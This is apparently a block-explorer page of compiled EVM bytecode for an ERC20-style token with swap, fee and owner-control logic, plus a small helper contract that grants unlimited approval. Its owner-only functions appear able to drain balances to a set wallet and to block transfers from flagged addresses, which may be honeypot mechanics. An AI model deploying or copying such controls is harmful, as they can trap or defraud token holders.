58015610c9b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cbf9190611edb565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610d07573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d2b9190612035565b506003546040516001600160a01b0361010090920491909116904780156108fc02915f818181858888f19350505050158015610d69573d5f803e3d5ffd5b505b50565b5f610a33338484611196565b5f546001600160a01b03163314610da35760405162461bcd60e51b815260040161071690611e59565b600e805460ff60a01b198116600160a01b9182900460ff1615909102179055565b5f546001600160a01b03163314610ded5760405162461bcd60e51b815260040161071690611e59565b600d8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990610e3a90831515815260200190565b60405180910390a150565b600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e95573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eb99190611ec0565b6040516323b872dd60e01b8152336004820152306024820152604481018390526001600160a01b0391909116906323b872dd906064016020604051808303815f875af1158015610f0b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f2f9190612035565b50610d6b816115ee565b5f546001600160a01b03163314610f625760405162461bcd60e51b815260040161071690611e59565b6001600160a01b03919091165f908152600660205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610fb55760405162461bcd60e51b815260040161071690611e59565b6001600160a01b03811661101a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610716565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166110d55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610716565b6001600160a01b0382166111365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610716565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b0384166111fb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610716565b6001600160a01b03831661125d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610716565b600d54600160a01b900460ff16156112815761127a8484846117a5565b9050610a37565b600d54600160a01b900460ff161580156112b357506001600160a01b0384165f9081526007602052604090205460ff16155b80156112c85750600d54600160a81b900460ff165b80156112ec57506001600160a01b0384165f9081526006602052604090205460ff16155b801561131057506001600160a01b0383165f9081526006602052604090205460ff16155b1561135d575f611321600584612064565b305f9081526004602052604090205490915081111561134c57305f9081526004602052604090208190555b801561135b5761135b81611888565b505b6001600160a01b0384165f9081526006602052604090205460ff1615801561139d57506001600160a01b0383165f9081526006602052604090205460ff16155b80156113b25750600e54600160a01b900460ff165b15611431576001600160a01b0384165f9081526004602052604090205482036113ee576113e182611388611978565b6113eb9083612083565b91505b6001600160a01b0384165f9081526007602052604090205460ff1680156114165750600f5415155b1561143157600f54611427836107ca565b1115611431575f80fd5b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387165f90815260049091529190912054611482918490611517565b6001600160a01b038086165f90815260046020526040808220939093559085168152205482906114b29082611590565b6001600160a01b038086165f8181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115059085815260200190565b60405180910390a36001915050610a37565b5f818484111561153a5760405162461bcd60e51b81526004016107169190611cec565b505f6115468486612083565b95945050505050565b5f610a3783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611517565b5f8061159c8385612096565b905083811015610a375760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610716565b600d805460ff60a01b1916600160a01b179055600c54604080516315ab88c960e31b815290515f926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa158015611648573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061166c9190611ec0565b6040805160028082526060820183529293505f92909160208301908036833701905050905081815f815181106116a4576116a4611f06565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106116d8576116d8611f06565b6001600160a01b039283166020918202929092010152600c54600e54604051635c11d79560e01b815291831692635c11d795926117239288925f9288929091169042906004016120a9565b5f604051808303815f87803b15801561173a575f80fd5b505af192505050801561174b575060015b50600e546001600160a01b03165f908152600460205260409020541561179357600e546001600160a01b03165f81815260046020526040902054611791919030906117a5565b505b5050600d805460ff60a01b1916905550565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f9081526004909152918220546117f5918490611517565b6001600160a01b038086165f9081526004602052604080822093909355908516815220546118239083611590565b6001600160a01b038085165f8181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118769086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b179055600a546008545f916118bd916002916118b791829087906119b9565b90611978565b90505f6118ca838361154f565b90506118d581611a37565b60085447905f906118f4906118eb906002611978565b600a549061154f565b90505f61191560026118b7846118b7600854886119b990919063ffffffff16565b90505f611922848361154f565b90508015611945576003546119459061010090046001600160a01b031682611bbc565b5f8211801561195357505f86115b15611962576119628683611bf4565b5050600d805460ff60a01b191690555050505050565b5f610a3783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ca9565b5f825f036119c857505f6107c4565b5f6119d383856120e4565b9050826119e08583612064565b14610a375760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610716565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611a6a57611a6a611f06565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611ac1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ae59190611ec0565b81600181518110611af857611af8611f06565b6001600160a01b039283166020918202929092010152600c54611b1e9130911684611073565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611b569085905f908690309042906004016120a9565b5f604051808303815f87803b158015611b6d575f80fd5b505af1925050508015611b7e575060015b507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611bb0929190611f5c565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015611bef573d5f803e3d5ffd5b505050565b600c54611c0c9030906001600160a01b031684611073565b600c5460035460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b03610100909204821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af193505050508015611c9d575060408051601f3d908101601f19168201909252611c9a918101906120fb565b60015b15610d69575050505050565b5f8183611cc95760405162461bcd60e51b81526004016107169190611cec565b505f6115468486612064565b5f60208284031215611ce5575f80fd5b5035919050565b5f6020808352835180828501525f5b81811015611d1757858101830151858201604001528201611cfb565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610d6b575f80fd5b5f8060408385031215611d5c575f80fd5b8235611d6781611d37565b946020939093013593505050565b5f805f60608486031215611d87575f80fd5b8335611d9281611d37565b92506020840135611da281611d37565b929592945050506040919091013590565b5f60208284031215611dc3575f80fd5b8135610a3781611d37565b8015158114610d6b575f80fd5b5f8060408385031215611dec575f80fd5b8235611df781611d37565b91506020830135611e0781611dce565b809150509250929050565b5f60208284031215611e22575f80fd5b8135610a3781611dce565b5f8060408385031215611e3e575f80fd5b8235611e4981611d37565b91506020830135611e0781611d37565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611ea257607f821691505b6020821081036109cf57634e487b7160e01b5f52602260045260245ffd5b5f60208284031215611ed0575f80fd5b8151610a3781611d37565b5f60208284031215611eeb575f80fd5b5051919050565b634e487b7160e01b5f52604160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f8151808452602080850194508084015f5b83811015611f515781516001600160a01b031687529582019590820190600101611f2c565b509495945050505050565b828152604060208201525f611f746040830184611f1a565b949350505050565b5f6020808385031215611f8d575f80fd5b825167ffffffffffffffff80821115611fa4575f80fd5b818501915085601f830112611fb7575f80fd5b815181811115611fc957611fc9611ef2565b8060051b604051601f19603f83011681018181108582111715611fee57611fee611ef2565b60405291825284820192508381018501918883111561200b575f80fd5b938501935b8285101561202957845184529385019392850192612010565b98975050505050505050565b5f60208284031215612045575f80fd5b8151610a3781611dce565b634e487b7160e01b5f52601160045260245ffd5b5f8261207e57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156107c4576107c4612050565b808201808211156107c4576107c4612050565b85815284602082015260a060408201525f6120c760a0830186611f1a565b6001600160a01b0394909416606083015250608001529392505050565b80820281158282048414176107c4576107c4612050565b5f805f6060848603121561210d575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122068c537df5b77a63dd36dae4c2381b0844a21fc0ab3f1177b8b62c44aa793615a64736f6c63430008140033608060405234801561000f575f80fd5b5060405161017838038061017883398101604081905261002e916100d5565b6040513360248201525f1960448201525f906001600160a01b0383169060640160408051601f198184030181529181526020820180516001600160e01b031663095ea7b360e01b179052516100839190610102565b5f604051808303815f865af19150503d805f81146100bc576040519150601f19603f3d011682016040523d82523d5f602084013e6100c1565b606091505b50509050806100ce575f80fd5b505061012e565b5f602082840312156100e5575f80fd5b81516001600160a01b03811681146100fb575f80fd5b9392505050565b5f82515f5b818110156101215760208186018101518583015201610107565b505f920191825250919050565b603e8061013a5f395ff3fe60806040525f80fdfea26469706673582212204600c4c3384bae5d3150cb8137fbe35d7696a23c59fd95cfa14a415e191379df64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610215575f3560e01c8063844d591c1161011e578063a83f53a7116100a8578063dd62ed3e1161006d578063dd62ed3e14610637578063ec8274601461067b578063ef422a181461069a578063f2fde38b146106b9578063f509911e146106d8575f80fd5b8063a83f53a7146105b1578063a9059cbb146105c6578063bc76c052146105e5578063c49b9a80146105f9578063c816841b14610618575f80fd5b806395d89b41116100ee57806395d89b411461052a578063a08e671f1461053e578063a457c2d714610553578063a4926dc914610572578063a67755c214610592575f80fd5b8063844d591c146104bc5780638718b24f146104db5780638da5cb5b146104fa578063914eb66a14610516575f80fd5b80632b112e491161019f5780633ecad2711161016f5780633ecad271146103f75780634a74bb02146104255780635342acb41461044557806357a5802f1461047357806370a0823114610488575f80fd5b80632b112e49146103845780632c4b233414610398578063313ce567146103b757806339509351146103d8575f80fd5b80631694505e116101e55780631694505e146102d657806318160ddd146102f55780632397e4d71461031357806323b872dd1461033257806327c8f83514610351575f80fd5b8063021b98281461022057806306fdde0314610241578063095ea7b31461026b5780631245e3471461029a575f80fd5b3661021c57005b5f80fd5b34801561022b575f80fd5b5061023f61023a366004611cd5565b6106ed565b005b34801561024c575f80fd5b50610255610724565b6040516102629190611cec565b60405180910390f35b348015610276575f80fd5b5061028a610285366004611d4b565b6107b4565b6040519015158152602001610262565b3480156102a5575f80fd5b506003546102be9061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610262565b3480156102e1575f80fd5b50600c546102be906001600160a01b031681565b348015610300575f80fd5b50600b545b604051908152602001610262565b34801561031e575f80fd5b5061030561032d366004611cd5565b6107ca565b34801561033d575f80fd5b5061028a61034c366004611d75565b6109d5565b34801561035c575f80fd5b506102be7f000000000000000000000000000000000000000000000000000000000000dead81565b34801561038f575f80fd5b50610305610a3e565b3480156103a3575f80fd5b5061023f6103b2366004611db3565b610a87565b3480156103c2575f80fd5b5060035460405160ff9091168152602001610262565b3480156103e3575f80fd5b5061028a6103f2366004611d4b565b610ad8565b348015610402575f80fd5b5061028a610411366004611db3565b60076020525f908152604090205460ff1681565b348015610430575f80fd5b50600d5461028a90600160a81b900460ff1681565b348015610450575f80fd5b5061028a61045f366004611db3565b60066020525f908152604090205460ff1681565b34801561047e575f80fd5b5061030560085481565b348015610493575f80fd5b506103056104a2366004611db3565b6001600160a01b03165f9081526004602052604090205490565b3480156104c7575f80fd5b5061023f6104d6366004611ddb565b610b0d565b3480156104e6575f80fd5b50600e546102be906001600160a01b031681565b348015610505575f80fd5b505f546001600160a01b03166102be565b348015610521575f80fd5b5061023f610b60565b348015610535575f80fd5b50610255610bd7565b348015610549575f80fd5b50610305600a5481565b34801561055e575f80fd5b5061028a61056d366004611d4b565b610be6565b34801561057d575f80fd5b50600e5461028a90600160a01b900460ff1681565b34801561059d575f80fd5b5061023f6105ac366004611db3565b610c33565b3480156105bc575f80fd5b5061030560095481565b3480156105d1575f80fd5b5061028a6105e0366004611d4b565b610d6e565b3480156105f0575f80fd5b5061023f610d7a565b348015610604575f80fd5b5061023f610613366004611e12565b610dc4565b348015610623575f80fd5b50600d546102be906001600160a01b031681565b348015610642575f80fd5b50610305610651366004611e2d565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610686575f80fd5b5061023f610695366004611cd5565b610e45565b3480156106a5575f80fd5b5061023f6106b4366004611ddb565b610f39565b3480156106c4575f80fd5b5061023f6106d3366004611db3565b610f8c565b3480156106e3575f80fd5b50610305600f5481565b5f546001600160a01b0316331461071f5760405162461bcd60e51b815260040161071690611e59565b60405180910390fd5b600f55565b60606001805461073390611e8e565b80601f016020809104026020016040519081016040528092919081815260200182805461075f90611e8e565b80156107aa5780601f10610781576101008083540402835291602001916107aa565b820191905f5260205f20905b81548152906001019060200180831161078d57829003601f168201915b5050505050905090565b5f6107c0338484611073565b5060015b92915050565b5f80600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108409190611ec0565b600d546040516370a0823160e01b81526001600160a01b0391821660048201529192505f91908316906370a0823190602401602060405180830381865afa15801561088d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b19190611edb565b11156109c7576040805160028082526060820183525f92602083019080368337019050509050606030825f815181106108ec576108ec611f06565b60200260200101906001600160a01b031690816001600160a01b031681525050828260018151811061092057610920611f06565b6001600160a01b039283166020918202929092010152600c5460405163d06ca61f60e01b815291169063d06ca61f9061095f9088908690600401611f5c565b5f60405180830381865afa158015610979573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526109a09190810190611f7c565b9050806001815181106109b5576109b5611f06565b60200260200101519350505050919050565b505f92915050565b50919050565b5f6109e1848484611196565b50610a338433610a2e85604051806060016040528060288152602001612127602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611517565b611073565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b03165f90815260046020526040812054600b54610a829161154f565b905090565b5f546001600160a01b03163314610ab05760405162461bcd60e51b815260040161071690611e59565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b335f8181526005602090815260408083206001600160a01b038716845290915281205490916107c0918590610a2e9086611590565b5f546001600160a01b03163314610b365760405162461bcd60e51b815260040161071690611e59565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610b895760405162461bcd60e51b815260040161071690611e59565b5f805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b03191661dead179055565b60606002805461073390611e8e565b5f6107c03384610a2e8560405180606001604052806025815260200161214f60259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190611517565b6001600160a01b0381163014610d6b576003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb926101009091049091169083906370a0823190602401602060405180830381865afa158015610c9b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cbf9190611edb565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610d07573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d2b9190612035565b506003546040516001600160a01b0361010090920491909116904780156108fc02915f818181858888f19350505050158015610d69573d5f803e3d5ffd5b505b50565b5f610a33338484611196565b5f546001600160a01b03163314610da35760405162461bcd60e51b815260040161071690611e59565b600e805460ff60a01b198116600160a01b9182900460ff1615909102179055565b5f546001600160a01b03163314610ded5760405162461bcd60e51b815260040161071690611e59565b600d8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990610e3a90831515815260200190565b60405180910390a150565b600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e95573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eb99190611ec0565b6040516323b872dd60e01b8152336004820152306024820152604481018390526001600160a01b0391909116906323b872dd906064016020604051808303815f875af1158015610f0b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f2f9190612035565b50610d6b816115ee565b5f546001600160a01b03163314610f625760405162461bcd60e51b815260040161071690611e59565b6001600160a01b03919091165f908152600660205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610fb55760405162461bcd60e51b815260040161071690611e59565b6001600160a01b03811661101a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610716565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166110d55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610716565b6001600160a01b0382166111365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610716565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b0384166111fb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610716565b6001600160a01b03831661125d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610716565b600d54600160a01b900460ff16156112815761127a8484846117a5565b9050610a37565b600d54600160a01b900460ff161580156112b357506001600160a01b0384165f9081526007602052604090205460ff16155b80156112c85750600d54600160a81b900460ff165b80156112ec57506001600160a01b0384165f9081526006602052604090205460ff16155b801561131057506001600160a01b0383165f9081526006602052604090205460ff16155b1561135d575f611321600584612064565b305f9081526004602052604090205490915081111561134c57305f9081526004602052604090208190555b801561135b5761135b81611888565b505b6001600160a01b0384165f9081526006602052604090205460ff1615801561139d57506001600160a01b0383165f9081526006602052604090205460ff16155b80156113b25750600e54600160a01b900460ff165b15611431576001600160a01b0384165f9081526004602052604090205482036113ee576113e182611388611978565b6113eb9083612083565b91505b6001600160a01b0384165f9081526007602052604090205460ff1680156114165750600f5415155b1561143157600f54611427836107ca565b1115611431575f80fd5b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387165f90815260049091529190912054611482918490611517565b6001600160a01b038086165f90815260046020526040808220939093559085168152205482906114b29082611590565b6001600160a01b038086165f8181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115059085815260200190565b60405180910390a36001915050610a37565b5f818484111561153a5760405162461bcd60e51b81526004016107169190611cec565b505f6115468486612083565b95945050505050565b5f610a3783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611517565b5f8061159c8385612096565b905083811015610a375760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610716565b600d805460ff60a01b1916600160a01b179055600c54604080516315ab88c960e31b815290515f926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa158015611648573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061166c9190611ec0565b6040805160028082526060820183529293505f92909160208301908036833701905050905081815f815181106116a4576116a4611f06565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106116d8576116d8611f06565b6001600160a01b039283166020918202929092010152600c54600e54604051635c11d79560e01b815291831692635c11d795926117239288925f9288929091169042906004016120a9565b5f604051808303815f87803b15801561173a575f80fd5b505af192505050801561174b575060015b50600e546001600160a01b03165f908152600460205260409020541561179357600e546001600160a01b03165f81815260046020526040902054611791919030906117a5565b505b5050600d805460ff60a01b1916905550565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f9081526004909152918220546117f5918490611517565b6001600160a01b038086165f9081526004602052604080822093909355908516815220546118239083611590565b6001600160a01b038085165f8181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118769086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b179055600a546008545f916118bd916002916118b791829087906119b9565b90611978565b90505f6118ca838361154f565b90506118d581611a37565b60085447905f906118f4906118eb906002611978565b600a549061154f565b90505f61191560026118b7846118b7600854886119b990919063ffffffff16565b90505f611922848361154f565b90508015611945576003546119459061010090046001600160a01b031682611bbc565b5f8211801561195357505f86115b15611962576119628683611bf4565b5050600d805460ff60a01b191690555050505050565b5f610a3783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ca9565b5f825f036119c857505f6107c4565b5f6119d383856120e4565b9050826119e08583612064565b14610a375760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610716565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611a6a57611a6a611f06565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611ac1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ae59190611ec0565b81600181518110611af857611af8611f06565b6001600160a01b039283166020918202929092010152600c54611b1e9130911684611073565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611b569085905f908690309042906004016120a9565b5f604051808303815f87803b158015611b6d575f80fd5b505af1925050508015611b7e575060015b507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611bb0929190611f5c565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015611bef573d5f803e3d5ffd5b505050565b600c54611c0c9030906001600160a01b031684611073565b600c5460035460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b03610100909204821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af193505050508015611c9d575060408051601f3d908101601f19168201909252611c9a918101906120fb565b60015b15610d69575050505050565b5f8183611cc95760405162461bcd60e51b81526004016107169190611cec565b505f6115468486612064565b5f60208284031215611ce5575f80fd5b5035919050565b5f6020808352835180828501525f5b81811015611d1757858101830151858201604001528201611cfb565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610d6b575f80fd5b5f8060408385031215611d5c575f80fd5b8235611d6781611d37565b946020939093013593505050565b5f805f60608486031215611d87575f80fd5b8335611d9281611d37565b92506020840135611da281611d37565b929592945050506040919091013590565b5f60208284031215611dc3575f80fd5b8135610a3781611d37565b8015158114610d6b575f80fd5b5f8060408385031215611dec575f80fd5b8235611df781611d37565b91506020830135611e0781611dce565b809150509250929050565b5f60208284031215611e22575f80fd5b8135610a3781611dce565b5f8060408385031215611e3e575f80fd5b8235611e4981611d37565b91506020830135611e0781611d37565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611ea257607f821691505b6020821081036109cf57634e487b7160e01b5f52602260045260245ffd5b5f60208284031215611ed0575f80fd5b8151610a3781611d37565b5f60208284031215611eeb575f80fd5b5051919050565b634e487b7160e01b5f52604160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f8151808452602080850194508084015f5b83811015611f515781516001600160a01b031687529582019590820190600101611f2c565b509495945050505050565b828152604060208201525f611f746040830184611f1a565b949350505050565b5f6020808385031215611f8d575f80fd5b825167ffffffffffffffff80821115611fa4575f80fd5b818501915085601f830112611fb7575f80fd5b815181811115611fc957611fc9611ef2565b8060051b604051601f19603f83011681018181108582111715611fee57611fee611ef2565b60405291825284820192508381018501918883111561200b575f80fd5b938501935b8285101561202957845184529385019392850192612010565b98975050505050505050565b5f60208284031215612045575f80fd5b8151610a3781611dce565b634e487b7160e01b5f52601160045260245ffd5b5f8261207e57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156107c4576107c4612050565b808201808211156107c4576107c4612050565b85815284602082015260a060408201525f6120c760a0830186611f1a565b6001600160a01b0394909416606083015250608001529392505050565b80820281158282048414176107c4576107c4612050565b5f805f6060848603121561210d575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122068c537df5b77a63dd36dae4c2381b0844a21fc0ab3f1177b8b62c44aa793615a64736f6c63430008140033

Deployed Bytecode Sourcemap

5204:11665:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11526:101;;;;;;;;;;-1:-1:-1;11526:101:0;;;;;:::i;:::-;;:::i;:::-;;7713:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8879:161;;;;;;;;;;-1:-1:-1;8879:161:0;;;;;:::i;:::-;;:::i;:::-;;;1373:14:1;;1366:22;1348:41;;1336:2;1321:18;8879:161:0;1208:187:1;5411:40:0;;;;;;;;;;-1:-1:-1;5411:40:0;;;;;;;-1:-1:-1;;;;;5411:40:0;;;;;;-1:-1:-1;;;;;1580:32:1;;;1562:51;;1550:2;1535:18;5411:40:0;1400:219:1;5987:41:0;;;;;;;;;;-1:-1:-1;5987:41:0;;;;-1:-1:-1;;;;;5987:41:0;;;7990:100;;;;;;;;;;-1:-1:-1;8070:12:0;;7990:100;;;2004:25:1;;;1992:2;1977:18;7990:100:0;1858:177:1;10978:493:0;;;;;;;;;;-1:-1:-1;10978:493:0;;;;;:::i;:::-;;:::i;10536:313::-;;;;;;;;;;-1:-1:-1;10536:313:0;;;;;:::i;:::-;;:::i;5458:81::-;;;;;;;;;;;;;;;9997:128;;;;;;;;;;;;;:::i;9677:129::-;;;;;;;;;;-1:-1:-1;9677:129:0;;;;;:::i;:::-;;:::i;7899:83::-;;;;;;;;;;-1:-1:-1;7965:9:0;;7899:83;;7965:9;;;;3103:36:1;;3091:2;3076:18;7899:83:0;2961:184:1;8376:218:0;;;;;;;;;;-1:-1:-1;8376:218:0;;;;;:::i;:::-;;:::i;5736:45::-;;;;;;;;;;-1:-1:-1;5736:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6102:40;;;;;;;;;;-1:-1:-1;6102:40:0;;;;-1:-1:-1;;;6102:40:0;;;;;;5679:50;;;;;;;;;;-1:-1:-1;5679:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5790:34;;;;;;;;;;;;;;;;8098:119;;;;;;;;;;-1:-1:-1;8098:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;8191:18:0;8164:7;8191:18;;;:9;:18;;;;;;;8098:119;9393:129;;;;;;;;;;-1:-1:-1;9393:129:0;;;;;:::i;:::-;;:::i;6555:41::-;;;;;;;;;;-1:-1:-1;6555:41:0;;;;-1:-1:-1;;;;;6555:41:0;;;2995:79;;;;;;;;;;-1:-1:-1;3033:7:0;3060:6;-1:-1:-1;;;;;3060:6:0;2995:79;;3220:155;;;;;;;;;;;;;:::i;7804:87::-;;;;;;;;;;;;;:::i;5867:39::-;;;;;;;;;;;;;;;;8602:269;;;;;;;;;;-1:-1:-1;8602:269:0;;;;;:::i;:::-;;:::i;10857:27::-;;;;;;;;;;-1:-1:-1;10857:27:0;;;;-1:-1:-1;;;10857:27:0;;;;;;15357:274;;;;;;;;;;-1:-1:-1;15357:274:0;;;;;:::i;:::-;;:::i;5831:29::-;;;;;;;;;;;;;;;;10361:167;;;;;;;;;;-1:-1:-1;10361:167:0;;;;;:::i;:::-;;:::i;10891:79::-;;;;;;;;;;;;;:::i;9814:171::-;;;;;;;;;;-1:-1:-1;9814:171:0;;;;;:::i;:::-;;:::i;6035:26::-;;;;;;;;;;-1:-1:-1;6035:26:0;;;;-1:-1:-1;;;;;6035:26:0;;;8225: